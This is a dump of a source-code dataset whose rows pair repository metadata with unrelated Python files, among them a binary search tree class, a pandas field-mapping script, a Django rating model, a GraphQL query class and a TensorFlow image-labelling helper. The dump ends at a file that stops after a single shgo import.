blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 2
616
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
69
| license_type
stringclasses 2
values | repo_name
stringlengths 5
118
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringlengths 4
63
| visit_date
timestamp[us] | revision_date
timestamp[us] | committer_date
timestamp[us] | github_id
int64 2.91k
686M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[us] | gha_created_at
timestamp[us] | gha_language
stringclasses 213
values | src_encoding
stringclasses 30
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 2
10.3M
| extension
stringclasses 246
values | content
stringlengths 2
10.3M
| authors
listlengths 1
1
| author_id
stringlengths 0
212
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
572ff29a8782cfb2fb8a2b8c8d1fdae80b6b8d8d
|
8e65928ef06e0c3392d9fa59b7b716f941e933c3
|
/python/codesignal/intro/level-5/array-maximal-adjacent-difference/solution.py
|
50ac92a194ed3e07bf209cd25e858a442ded8bb9
|
[] |
no_license
|
KoryHunter37/code-mastery
|
0c79aed687347bfd54b4d17fc28dc110212c6dd1
|
6610261f7354d35bde2411da8a2f4b9dfc238dea
|
refs/heads/master
| 2022-02-24T10:34:03.074957
| 2019-09-21T19:24:57
| 2019-09-21T19:24:57
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 208
|
py
|
# https://app.codesignal.com/arcade/intro/level-5/EEJxjQ7oo7C5wAGjE
def arrayMaximalAdjacentDifference(inputArray):
return max([abs(inputArray[i] - inputArray[i+1]) for i in range(len(inputArray[:-1]))])
|
[
"koryhunter@gatech.edu"
] |
koryhunter@gatech.edu
|
ae0b7df53754ddbf11bf7fbb8ee38d252313eaa5
|
4508fc5a0d993aa566a6930208a8a627ab05f9af
|
/new.py
|
c976c7bb6c1de9fab9eaf5ddc230edebf90b030c
|
[] |
no_license
|
SohamDas15/BinaryTree
|
9412134572a443faf4368b52513c4af55674d11b
|
b3b85fff3766b6c3d89c14257a454bdc544808fa
|
refs/heads/main
| 2023-04-21T06:09:23.561788
| 2021-05-02T19:35:37
| 2021-05-02T19:35:37
| 362,226,460
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,705
|
py
|
class BinarySearchTree:
def __init__(self, data):
self.data = data
self.left = None
self.right = None
def add_child(self, data):
if self.data == data:
return "This Node Already exists"
if data < self.data:
if self.left:
self.left.add_child(data)
else:
self.left = BinarySearchTree(data)
else:
if self.right:
self.right.add_child(data)
else:
self.right = BinarySearchTree(data)
def search(self, val):
if self.data == val:
return True
if val < self.data:
self.left.search(val)
else:
return False
if val > self.data:
self.right.search(val)
else:
return False
def build_tree_method(self, collection):
for i in collection:
if self.data == i:
pass
if i < self.data:
if self.left:
self.left.add_child(i)
else:
self.left = BinarySearchTree(i)
if i > self.data:
if self.right:
self.right.add_child(i)
else:
self.right = BinarySearchTree(i)
# All traversals
def traverse_inorder(self):
elements = []
if self.left:
elements += self.left.traverse_inorder()
elements.append(self.data)
if self.right:
elements += self.right.traverse_inorder()
return elements
def traverse_postorder(self):
collection = []
if self.left:
collection+= self.left.traverse_postorder()
if self.right:
collection+= self.right.traverse_postorder()
collection.append(self.data)
return collection
def traverse_preorder(self):
collection = []
collection.append(self.data)
if self.left:
collection += self.left.traverse_preorder()
if self.right:
collection += self.right.traverse_preorder()
return collection
def calculate_sum(self):
collection = []
if self.left:
collection += self.left.traverse_inorder()
if self.right:
collection += self.right.traverse_inorder()
collection.append(self.data)
return sum(collection)
def find_max_recur(self):
if self.right is None:
return self.data
else:
return self.right.find_max_recur()
def find_min_recur(self):
if self.left is None:
return self.data
return self.left.find_min_recur()
def find_min(self):
while self.left:
prev = self.left
self.left = self.left.left
return prev.data
def find_max(self):
while self.right:
prev = self.right
self.right = self.right.right
return prev.data
def delete(self, val):
if self.data is None:
return None
if val < self.data:
if self.left:
self.left = self.left.delete(val)
elif val > self.data:
if self.right:
self.right = self.right.delete(val)
else:
if self.left is None and self.right is None:
return None
if self.left is None:
return self.right
if self.right is None:
return self.left
min_val = self.find_min()
self.data = min_val
self.right = self.right.delete(min_val)
return self
def invert(self):
node = self.data
if node is None:
return
if self.left is None or self.right is None:
return
else:
temp = node
self.left.invert()
self.right.invert()
temp = self.left
self.left = self.right
self.right = temp
def invert_tree_iterative(self, root):
stack = [root]
while len(stack) > 0:
node = stack.pop()
if node is not None:
hold = node.left
node.left = node.right
node.right = hold
stack.append(node.left)
stack.append(node.right)
return root
def invert_tree_recursive(self, root):
node = self.data
def invertNodes(node):
if node is None:
return
invertNodes(node.left)
invertNodes(node.right)
hold = node.left
node.left = node.right
node.right = hold
invertNodes(root)
if __name__ == "__main__":
arr = [6,3,2,9,12,1,0,8]
root = BinarySearchTree(7)
root.build_tree_method(arr)
# # traverse_inorder_iter(root)
# print(root.traverse_inorder())
# print(root.calculate_sum())
# print(root.find_min_recur())
# print(root.find_max_recur())
# root.delete(12)
print(root.traverse_preorder())
root.invert_tree_recursive(root)
print(root.traverse_preorder())
root.invert_tree_iterative(root)
print(root.traverse_preorder())
# binary_tree = build_tree(arr)
# root = BinarySearchTree(5)
# root.left = BinarySearchTree(3)
# root.left.left = BinarySearchTree(0)
# root.left.right = BinarySearchTree(2)
# root.right = BinarySearchTree(4)
# root.right.right = BinarySearchTree(6)
# root.right.left = BinarySearchTree(5)
# traverse_inorder_iter(root)
|
[
"apple@Sanjivs-iMac.local"
] |
apple@Sanjivs-iMac.local
|
df164d74901848e37d71dea406cbc3daa0480073
|
43591c0f6233acde6dc7115ac6a62b6679096137
|
/field_mapping (material_single).py
|
5b98b412bd49a175393451a4b3ea244d14429c27
|
[] |
no_license
|
angelalali/nlp-fuzzy-matching-customized
|
acb149b60f84abf77460e2c65dffb7ab2c6398af
|
e3b6c5b416ecb8acbbf640d8a1923baa4ae1422e
|
refs/heads/master
| 2020-06-10T14:10:37.481646
| 2016-12-14T20:38:36
| 2016-12-14T20:38:36
| 75,950,950
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,779
|
py
|
import nlp_field_mapping as nfm
import os
import pandas as pd
from collections import Counter
# allows you to count frequency of ALL elements in a list
import re
# allows you to use regex
"""
BASIC FILES/PATHS WHOSE USE IS REPEATED
"""
# -- Replace below path with your correct directory structure
baseDir = "/Users/yisilala/Documents/IBM/projects/schlumberger oil company/data input & output/real data/"
inDir = os.path.join(baseDir, 'input')
outDir = os.path.join(baseDir, "output/MATERIAL")
# -- In case preferred path does not already exist
if not os.path.exists(outDir):
os.makedirs(outDir)
"""
read and prepare the files
"""
### read the legacy file data
legacy_file = os.path.join(inDir, "MATERIAL/legacy data.xlsx")
# read ALL the tabs in the legacy file; there are 5 in total but we don't care about the 5th one, which is phone tab
col_names=["Name", "Datatype", "Length", "Mandatory", "Comments"]
legacy_data = pd.read_excel(legacy_file, sheetname='MTL_SYSTEM_ITEMS_B', header=0, na_values="", names=col_names)
### below code is used to read multiple legacy data sheets in one legacy excel file
# legacy_data = pd.DataFrame(columns=col_names)
# for i in range(0,6):
# temp_dt = pd.read_excel(legacy_file, sheetname=i, header=0, na_values="", names=col_names)
# legacy_data = legacy_data.append(temp_dt)
# legacy_data.reset_index(range(0, len(legacy_data)))
# print(legacy_data.iloc[:45,:])
# you want to clean the legacy file, since many rows are not used anymore;
# you definitely dont want those noise rows there to confuse your matching;
# so basically what i'm doing here is to see if any comments are repeated multiple times (right now, i think twice is okay)
# if it's repeated, then i will take them out
c = Counter(legacy_data['Comments'])
unique_comments = []
for val in set(legacy_data['Comments']):
if c[val] < 3:
unique_comments.append(val)
# print(unique_comments)
legacy_data_clean = legacy_data.ix[legacy_data['Comments'].isin(unique_comments),:]
# print(legacy_data_clean)
### read the sap files
sap_file = os.path.join(inDir, 'MATERIAL SAP/DataMARC.xlsx')
col_names = ["Field","Data_Type","Length","Description"]
sap_data = pd.read_excel(sap_file, sheetname=0, header=0)
# print(sap_data)
# sap_data = pd.DataFrame()
# print(sap_data.iloc[:15, :])
# can use above line to check first 15 rows of your combined sap data
# reset index values of the sap_file (otherwise you'll get many rows w same row index numbers!)
sap_data.reset_index(range(0,len(sap_data),1))
# print(sap_data.iloc[130:140, :])
### read the transformation file to collect the sap columns that actually matters
needed_sap_col_file = os.path.join(inDir,'MATERIAL/sap needed.xlsx')
# needed_sap_col_data = pd.read_excel(needed_sap_col_file, sheetname='Field List - All Views', header=0, skiprows=0, na_values="")
needed_sap_col_data = pd.read_excel(needed_sap_col_file, sheetname='ORACLE-MI', header=0, skiprows=0, na_values="")
# when you read excel using pandas read_excel function, the result is ALREADY in pandas dataframe type
### now see which sap fields in the sap_data are also in needed_sap_col, and you'll only keep those
# first, need to extract the field names (in the file, the field name is in format: TableName.FieldName
# so need to strip anything before the "."
temp = needed_sap_col_data.ix[needed_sap_col_data['R2 Field Conversion'] == 'INSCOPE','Table.Field']
needed_sap_cols = [re.sub("^[a-zA-Z]*.", "", x) for x in temp]
# print(needed_sap_cols)
sap_fields = sap_data.ix[sap_data['Field'].isin(set(needed_sap_cols)),:]
sap_fields = sap_fields.reset_index(range(0,len(sap_fields)))
# print(sap_fields)
## using legacy's comment to match
# """
# # call the matching function
# # """
# # # -- Directory into which matched results spreadsheet is saved
# # outFile = os.path.join(outDir, "sap to legacy mapping")
# # match_vals = nfm.fuzzyWordMatch(sap_fields, 'sap', legacy_data_clean, 'legacy', 'Description', 'Comments', 'Field', 'Name', outFile, 3)
#
#
# outFile = os.path.join(outDir, "legacy to sap field mapping")
# match_vals = nfm.fuzzyWordMatch(legacy_data_clean, 'legacy', sap_fields, 'sap', 'Comments', 'Description', 'Name', 'Field', outFile, 6)
#
### using legacy's field name to match (ignore its comments)
"""
# call the matching function
# """
# # -- Directory into which matched results spreadsheet is saved
# outFile = os.path.join(outDir, "sap to legacy mapping.xlsx")
# match_vals = nfm.fuzzyWordMatch(sap_fields, 'sap', legacy_data_clean, 'legacy', 'Description', 'Name', 'Field', 'Name', outFile, 3)
outFile = os.path.join(outDir, "legacy to sap field mapping.xlsx")
match_vals = nfm.fuzzyWordMatch(legacy_data_clean, 'legacy', sap_fields, 'sap', 'Name', 'Description', 'Name', 'Field', outFile, 3)
|
[
"yisilala@Yisis-MacBook-Pro-2.local"
] |
yisilala@Yisis-MacBook-Pro-2.local
|
68233064a568d7d69b79c5a3ee149570baac6fa4
|
01733042e84a768b77f64ec24118d0242b2f13b8
|
/uhd_restpy/testplatform/sessions/ixnetwork/statistics/view/availabletrafficitemfilter/availabletrafficitemfilter.py
|
c53e07d8ce20b20c48a677778df502ebf596a64d
|
[
"MIT"
] |
permissive
|
slieberth/ixnetwork_restpy
|
e95673905854bc57e56177911cb3853c7e4c5e26
|
23eeb24b21568a23d3f31bbd72814ff55eb1af44
|
refs/heads/master
| 2023-01-04T06:57:17.513612
| 2020-10-16T22:30:55
| 2020-10-16T22:30:55
| 311,959,027
| 0
| 0
|
NOASSERTION
| 2020-11-11T12:15:34
| 2020-11-11T12:06:00
| null |
UTF-8
|
Python
| false
| false
| 4,103
|
py
|
# MIT LICENSE
#
# Copyright 1997 - 2020 by IXIA Keysight
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from uhd_restpy.base import Base
from uhd_restpy.files import Files
class AvailableTrafficItemFilter(Base):
"""List of traffic items available for filtering.
The AvailableTrafficItemFilter class encapsulates a list of availableTrafficItemFilter resources that are managed by the system.
A list of resources can be retrieved from the server using the AvailableTrafficItemFilter.find() method.
"""
__slots__ = ()
_SDM_NAME = 'availableTrafficItemFilter'
_SDM_ATT_MAP = {
'Constraints': 'constraints',
'Name': 'name',
}
def __init__(self, parent):
super(AvailableTrafficItemFilter, self).__init__(parent)
@property
def Constraints(self):
"""
Returns
-------
- list(str): Lists down the constraints associated with the available traffic item filter list.
"""
return self._get_attribute(self._SDM_ATT_MAP['Constraints'])
@property
def Name(self):
"""
Returns
-------
- str: Displays the name of the traffic item filter.
"""
return self._get_attribute(self._SDM_ATT_MAP['Name'])
def find(self, Constraints=None, Name=None):
"""Finds and retrieves availableTrafficItemFilter resources from the server.
All named parameters are evaluated on the server using regex. The named parameters can be used to selectively retrieve availableTrafficItemFilter resources from the server.
To retrieve an exact match ensure the parameter value starts with ^ and ends with $
By default the find method takes no parameters and will retrieve all availableTrafficItemFilter resources from the server.
Args
----
- Constraints (list(str)): Lists down the constraints associated with the available traffic item filter list.
- Name (str): Displays the name of the traffic item filter.
Returns
-------
- self: This instance with matching availableTrafficItemFilter resources retrieved from the server available through an iterator or index
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
return self._select(self._map_locals(self._SDM_ATT_MAP, locals()))
def read(self, href):
"""Retrieves a single instance of availableTrafficItemFilter data from the server.
Args
----
- href (str): An href to the instance to be retrieved
Returns
-------
- self: This instance with the availableTrafficItemFilter resources from the server available through an iterator or index
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
return self._read(href)
|
[
"andy.balogh@keysight.com"
] |
andy.balogh@keysight.com
|
152cb52b00815e33fee64b5ece2306aa210e1b76
|
59b21fa75d7a37f2c63b43d40a0c209a66980a10
|
/PythonStack/Fundamentals/multiply.py
|
06b506dae634f06bbdf0275e271620b60dacb2d3
|
[] |
no_license
|
CodingPanda93/Full_Portfolio
|
557d296ee5fb550ac3da4ad7eecd67eeb7cda20e
|
fb12653caaff97df6e7eae58da9ab313e0616a08
|
refs/heads/master
| 2021-01-21T09:03:09.017028
| 2017-06-16T02:09:28
| 2017-06-16T02:09:28
| 91,646,610
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 128
|
py
|
a = [2, 4, 10, 16]
def multiply(arr):
for i in range(len(arr)):
arr[i] = arr[i] * 5
return arr
b = multiply(a)
print b
|
[
"faeproduction@gmail.com"
] |
faeproduction@gmail.com
|
b05b2b81c1a122f4fa267592e18198728237f4b0
|
2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae
|
/python/python_18141.py
|
5f4f043838de7ddd6ede8032c97ca3df3d431911
|
[] |
no_license
|
AK-1121/code_extraction
|
cc812b6832b112e3ffcc2bb7eb4237fd85c88c01
|
5297a4a3aab3bb37efa24a89636935da04a1f8b6
|
refs/heads/master
| 2020-05-23T08:04:11.789141
| 2015-10-22T19:19:40
| 2015-10-22T19:19:40
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 180
|
py
|
# How to get Chrome's active_tab's url by calling Python's app script?
url = appscript.app("Google Chrome").windows[1].get.tabs[dt.windows[1].get.active_tab_index.get].get.URL.get
|
[
"ubuntu@ip-172-31-7-228.us-west-2.compute.internal"
] |
ubuntu@ip-172-31-7-228.us-west-2.compute.internal
|
226dae334c824eabd9f86997248540c19c274caf
|
480ba90ae43f6ef5072f163fe195f83408cc8842
|
/Scripts/other_scripts/zlib-9.py
|
7a041573b84eea6a602bc30f2c2ae103a163fa8e
|
[] |
no_license
|
raystyle/Myporjects
|
04478480700f54038b34edb0f6daeec31078b1a5
|
1892b74fb390c6c61a77d86cc781ee64f512f0b0
|
refs/heads/master
| 2021-05-21T08:07:31.743139
| 2020-04-02T13:05:25
| 2020-04-02T13:05:25
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 397
|
py
|
#!/usr/sbin/python
import zlib
import sys
def compress(infile, dst, level=9):
infile = open(infile, 'rb')
dst = open(dst, 'wb')
compress = zlib.compressobj(level)
data = infile.read(1024)
while data:
dst.write(compress.compress(data))
data = infile.read(1024)
dst.write(compress.flush())
input = sys.argv[1]
output = sys.argv[2]
compress(input, output)
|
[
"cui6522123@gmail.com"
] |
cui6522123@gmail.com
|
8851ecbb3139dd59dea488ca8be39d8f23352f32
|
ddb18664a893c29508c34eef8f33590426fd733c
|
/main/models.py
|
3a3cd2f85e16fcb3d0c96237ac4f9de1d7e0e114
|
[] |
no_license
|
shahed-swe/movie_rating_api
|
8a914a9eec2b04c032a9d2d0719da5e142e6d1c5
|
16af91814b0b3bf4df64dfeee7f6886fa554100f
|
refs/heads/master
| 2022-12-27T04:00:56.721275
| 2020-10-13T07:47:45
| 2020-10-13T07:47:45
| 301,753,593
| 5
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,144
|
py
|
from django.db import models
from django.contrib.auth.models import User
from django.core.validators import MaxValueValidator,MinValueValidator
# Create your models here.
class Movie(models.Model):
movie_name = models.CharField(max_length=120, blank=True, null=True)
description = models.CharField(max_length=500, blank=True, null=True)
@property
def no_of_ratings(self):
ratings = Ratings.objects.filter(movie=self)
return len(ratings)
@property
def avg_rating(self):
sum = 0
ratings = Ratings.objects.filter(movie=self)
for rating in ratings:
sum += rating.stars
if len(ratings) > 0:
return sum / len(ratings)
else:
return 0
class Ratings(models.Model):
movie = models.ForeignKey(Movie, on_delete=models.CASCADE, related_name='movies')
user = models.ForeignKey(User, on_delete=models.CASCADE, related_name='users')
stars = models.IntegerField(validators=[MinValueValidator(1),MaxValueValidator(5)])
class Meta:
unique_together = (('movie','user'),)
index_together = (('movie','user'),)
|
[
"shahedtalukder51@gmail.com"
] |
shahedtalukder51@gmail.com
|
986c06f15951fbe9a5b6b10eda8c938648f4e3bf
|
db14241eca00e2bcbf03924106c377ccb2b2aec8
|
/symphony/cli/pyinventory/graphql/equipment_port_type_query.py
|
35872e60c762769a919c561f7a5b80c6f86d2541
|
[
"BSD-3-Clause",
"Apache-2.0"
] |
permissive
|
bdryja/magma
|
24a893abaf65284b9ce721455d70564b2447b547
|
7d8e019a082b88f63d22313abffdb98257160c99
|
refs/heads/master
| 2022-04-19T14:08:14.365184
| 2020-03-26T15:59:44
| 2020-03-26T16:03:05
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,620
|
py
|
#!/usr/bin/env python3
# @generated AUTOGENERATED file. Do not Change!
from dataclasses import dataclass
from datetime import datetime
from gql.gql.datetime_utils import DATETIME_FIELD
from gql.gql.graphql_client import GraphqlClient
from functools import partial
from numbers import Number
from typing import Any, Callable, List, Mapping, Optional
from dataclasses_json import DataClassJsonMixin
from .property_type_fragment import PropertyTypeFragment, QUERY as PropertyTypeFragmentQuery
@dataclass
class EquipmentPortTypeQuery(DataClassJsonMixin):
@dataclass
class EquipmentPortTypeQueryData(DataClassJsonMixin):
@dataclass
class Node(DataClassJsonMixin):
@dataclass
class PropertyType(PropertyTypeFragment):
pass
id: str
name: str
propertyTypes: List[PropertyType]
linkPropertyTypes: List[PropertyType]
port_type: Optional[Node] = None
data: EquipmentPortTypeQueryData
__QUERY__: str = PropertyTypeFragmentQuery + """
query EquipmentPortTypeQuery($id: ID!) {
port_type: node(id: $id) {
... on EquipmentPortType {
id
name
propertyTypes {
...PropertyTypeFragment
}
linkPropertyTypes {
...PropertyTypeFragment
}
}
}
}
"""
@classmethod
# fmt: off
def execute(cls, client: GraphqlClient, id: str) -> EquipmentPortTypeQueryData:
# fmt: off
variables = {"id": id}
response_text = client.call(cls.__QUERY__, variables=variables)
return cls.from_json(response_text).data
|
[
"facebook-github-bot@users.noreply.github.com"
] |
facebook-github-bot@users.noreply.github.com
|
978859350088c5a542cff583706ed1a713b7e036
|
612b70fbf04fbf296670b22abc58cc52c99a3baa
|
/bot/utils/exceptions.py
|
2b1c1b311962b835f546b863855524cad8f21538
|
[
"MIT"
] |
permissive
|
SuperMaZingCoder/sir-lancebot
|
d76f355752985e99bb26c3793251aec3a08e850f
|
9441c7284e4230b96ce0cd79e6fa86f457530f3c
|
refs/heads/master
| 2023-03-03T18:13:00.259521
| 2021-02-09T11:26:02
| 2021-02-09T11:26:02
| 338,086,612
| 0
| 1
|
MIT
| 2021-02-11T16:37:05
| 2021-02-11T16:37:04
| null |
UTF-8
|
Python
| false
| false
| 123
|
py
|
class UserNotPlayingError(Exception):
"""Will raised when user try to use game commands when not playing."""
pass
|
[
"45097959+ks129@users.noreply.github.com"
] |
45097959+ks129@users.noreply.github.com
|
39513353635969f39e6379e99594945fad6bde7a
|
2de911fe1c7c9b62aab86ba7c10cb7d1e3ce1494
|
/dogs/human_touch.py
|
fb4aa388d65082d14e39c99a395d0ec5aa1b27ea
|
[] |
no_license
|
CalebNSmith/dogwatch
|
6f26684b9c9e073d2ee3f9159aefeee2a7dc95e4
|
76cdce0e6445a25462fa570778e032e8e509c8d5
|
refs/heads/master
| 2023-06-29T10:05:48.454149
| 2021-08-03T14:05:15
| 2021-08-03T14:05:15
| 377,236,574
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 6,882
|
py
|
# human_touch.py
# Usage: python human_touch.py <owner> <number> <label>
# Example: python human_touch.py dan 1000 sitting
# ^ will run until 1000 predictions
import glob
import numpy as np
import os
import sys
import shutil
import threading
import math
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # !{ERROR,WARNING,INFO}
os.environ['CUDA_VISIBLE_DEVICES'] = '-1' # !{ERROR,WARNING,INFO}
import tensorflow as tf
from tensorflow import keras, config
#physical_devices = config.list_physical_devices('GPU')
#config.experimental.set_memory_growth(physical_devices[0], True)
from db import DojoImage
from db.dbwrapper import Database
from analysis import heatmap
IMAGE_SIZE = 224
INT_LABELS = {'laying': 0, 'sitting': 1, 'standing': 2}
MODEL_NAME = 'dropout_30_dropout_90-fine_tuned' # TODO get_current_best_model()
LAST_CONV_LAYER_NAME = 'top_activation'
CLASSIFIER_LAYER_NAMES = [
'global_average_pooling2d_1',
'batch_normalization_1',
'dense_1',
]
CUTOFF = 0.85
def batch_resize(batch, n, resized):
# batch is list of DojoImage objects
for image in batch:
try:
image.resize(target_size=IMAGE_SIZE)
image.as_array = np.array([image.as_array])
resized.append(image)
except Exception as e:
print(e)
print('BATCH %d RESIZED' % (n,))
def chunks(lst, n):
stride = math.ceil(len(lst) / n)
for offset in range(0, len(lst), stride):
yield lst[offset:offset+stride]
def prep_filesystem(out_dir, out_db, out_images, out_heatmaps):
# mkdir img/unlabeled/$owner if not exists or remove all files and leave skeleton
if not os.path.exists(out_dir):
os.mkdir(out_dir)
os.mkdir(out_images)
os.mkdir(out_heatmaps)
else:
for f in glob.glob(out_images + '/*'):
os.remove(f)
for f in glob.glob(out_heatmaps + '/*'):
os.remove(f)
try:
os.remove(out_db)
except Exception as e:
print(e)
try:
os.remove(out_dir + '/labeler.py')
except Exception as e:
print(e)
def get_for_checkout(model, owner, number, str_label):
for_check_out = []
for_check_out_arrays = []
while len(for_check_out) < number:
batch_size = min(2048, 6 * (number - len(for_check_out)))
print('Loading %d unlabeled images...' % batch_size, end=' ')
unlabeled_images = DojoImage().unlabeled_images(number=batch_size)
print('Done.')
resized = []
threads = []
for n, batch in enumerate(chunks(unlabeled_images, 5)):
resized.append([])
t = threading.Thread(name=n, target=batch_resize, args=(batch, n, resized[n]))
threads.append(t)
t.start()
print('Resizing images...')
for t in threads:
t.join()
# load $current_best_model and make predictions
print('Making class predictions...')
resized = [item for sublist in resized for item in sublist]
vstacked = np.vstack([image.as_array for image in resized])
preds = model.predict(vstacked, batch_size=min(512, batch_size), verbose=1)
for n, p in enumerate(preds):
if len(for_check_out) >= number:
break
if np.argmax(p) == INT_LABELS[str_label] and np.max(p) > CUTOFF:
DojoImage().check_out_image(resized[n], owner)
for_check_out.append((resized[n], p))
for_check_out_arrays.append(vstacked[n])
else:
# temporalily check out images so not just looping through same images over and over
DojoImage().check_out_image(resized[n], 'tmp')
print('Found %d/%d %s images\n' % (len(for_check_out), number, str_label))
print('Making heatmaps...', end=' ')
heatmaps = heatmap.make_heatmap(model, LAST_CONV_LAYER_NAME,
CLASSIFIER_LAYER_NAMES,
tf.convert_to_tensor(for_check_out_arrays))
heatmaps = [keras.preprocessing.image.array_to_img(hm) for hm in heatmaps]
for_check_out = zip(for_check_out, heatmaps)
print('Done.')
return for_check_out
def save_images_and_predictions(out_db, str_label, for_check_out):
# save predictions in img/unlabeled/$owner/predictions.db
with Database(out_db) as db:
db.query(
""" CREATE TABLE prediction (
image_id INTEGER PRIMARY KEY,
laying REAL NOT NULL,
sitting REAL NOT NULL,
standing REAL NOT NULL,
human_label TEXT NULL DEFAULT NULL,
model_label TEXT NOT NULL,
human_dataset TEXT NOT NULL DEFAULT 'training'
)""")
for (image, preds), hm in for_check_out:
db.insert(
""" INSERT INTO prediction
(image_id, laying, sitting, standing, model_label)
VALUES (?, ?, ?, ?, ?)""",
(image.image_id, preds[0].astype(float), preds[1].astype(float), preds[2].astype(float), str_label))
# save $resized_images in img/unlabeled/$owner/images
filepath=out_dir + '/images/' + str(image.image_id) + '.jpeg'
heat_filepath=out_dir + '/heatmaps/' + str(image.image_id) + '.jpeg'
image.save(new_filepath=filepath)
hm.save(heat_filepath)
def main(owner, out_dir, out_db, out_images, out_heatmaps, number, str_label):
print('Preparing filesystem...', end=' ')
prep_filesystem(out_dir, out_db, out_images, out_heatmaps)
print('Done.')
print('Loading model...', end=' ')
model = keras.models.load_model('../saved_models/' + MODEL_NAME)
model.compile()
print('Done.')
for_check_out = get_for_checkout(model, owner, number, str_label)
save_images_and_predictions(out_db, str_label, for_check_out)
# free up temporalily checked out images
DojoImage().un_check_out_images('tmp')
# copy labeler.py to out_dir and print scp command to pull images in
shutil.copy('labeler.py', out_dir)
print()
print('rm -rf ~/unlabeled ; mkdir -p ~/unlabeled ; scp -r ubuntu-ml:/home/dan/dogs/img/unlabeled/%s ~/unlabeled' % (owner,))
if __name__ == '__main__':
if len(sys.argv) < 4:
print()
print('MOAR ARGS!!')
print('Usage: python human_touch.py <owner> <number> <label>')
print('Example: python human_touch.py dan 1000 sitting')
print()
exit()
owner = sys.argv[1]
out_dir = os.getenv('IMG_DIR') + '/unlabeled/' + owner
out_db = out_dir + '/predictions.db'
out_images = out_dir + '/images'
out_heatmaps = out_dir + '/heatmaps'
number = int(sys.argv[2])
str_label = sys.argv[3]
main(owner, out_dir, out_db, out_images, out_heatmaps, number, str_label)
|
[
"cns5za@virginia.edu"
] |
cns5za@virginia.edu
|
56bcdd18652fd77b7d4322e3fc8536fb5d32465d
|
5276c7497565cbacc94d92d537458ba7a153c523
|
/telescope_control/examples/threading_example.py
|
947844ddf635e90ee387b5e04c0a071386ba6501
|
[] |
no_license
|
Shulin00/GreenPol
|
28aada837a4e8aef062f8b49918bcd3f390db813
|
91fe77ec11f98892709097a47b4900432b89bfa6
|
refs/heads/master
| 2020-04-05T12:10:03.919691
| 2017-08-10T21:50:56
| 2017-08-10T21:50:56
| 95,250,198
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 941
|
py
|
import threading
import time
class ThreadingExample(object):
""" Threading example class
The run() method will be started and it will run in the background
until the application exits.
"""
def __init__(self, interval=1):
""" Constructor
:type interval: int
:param interval: Check interval, in seconds
"""
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True # Daemonize thread
thread.start() # Start the execution
def run(self):
""" Method that runs forever """
while True:
# Do something
print('Doing something imporant in the background')
time.sleep(self.interval)
example = ThreadingExample()
time.sleep(3)
print('Checkpoint')
time.sleep(2)
print('Bye')
|
[
"noreply@github.com"
] |
Shulin00.noreply@github.com
|
754e8c61aacf14e1240e4d11b69c1b889154487e
|
e4a3e247ab03a5118b55ff71583ca8a33ca1d035
|
/domainer/cli.py
|
f96914aa23476f52b6e3c002a0ddec091dad068d
|
[
"MIT"
] |
permissive
|
dutradda/domainer
|
26acfa8ca684858ee78126246e2ea61edef837cc
|
19cc5adf6eabd1a40c503a16a547d5c128e62efe
|
refs/heads/master
| 2021-09-19T05:10:15.169843
| 2018-07-23T14:18:35
| 2018-07-23T14:33:05
| 119,593,943
| 4
| 0
|
MIT
| 2018-03-08T17:31:45
| 2018-01-30T21:01:59
|
Python
|
UTF-8
|
Python
| false
| false
| 23
|
py
|
def main():
pass
|
[
"dutradda@gmail.com"
] |
dutradda@gmail.com
|
fe248b21545a38b3e47ad2dbdca63c63cc74d7b9
|
50ff2acde1a9a9389491566dc8a7eff17e192d72
|
/SHGO-单纯同源全局优化Simplicial Homology Global Optimization/shgo.py
|
13bc868a7917db0815fa4bfa03742aced301f5e3
|
[] |
no_license
|
PythonLinzi/My-Alrorithm-Library
|
b1b38c3c07e17ff954a4b7677b1142caf60c781d
|
9b89bbcd30b25e9b634595998efdad36c2c4ff0c
|
refs/heads/master
| 2020-05-18T11:42:48.540363
| 2019-10-17T08:11:03
| 2019-10-17T08:11:03
| 184,386,036
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 494
|
py
|
from scipy.optimize import shgo
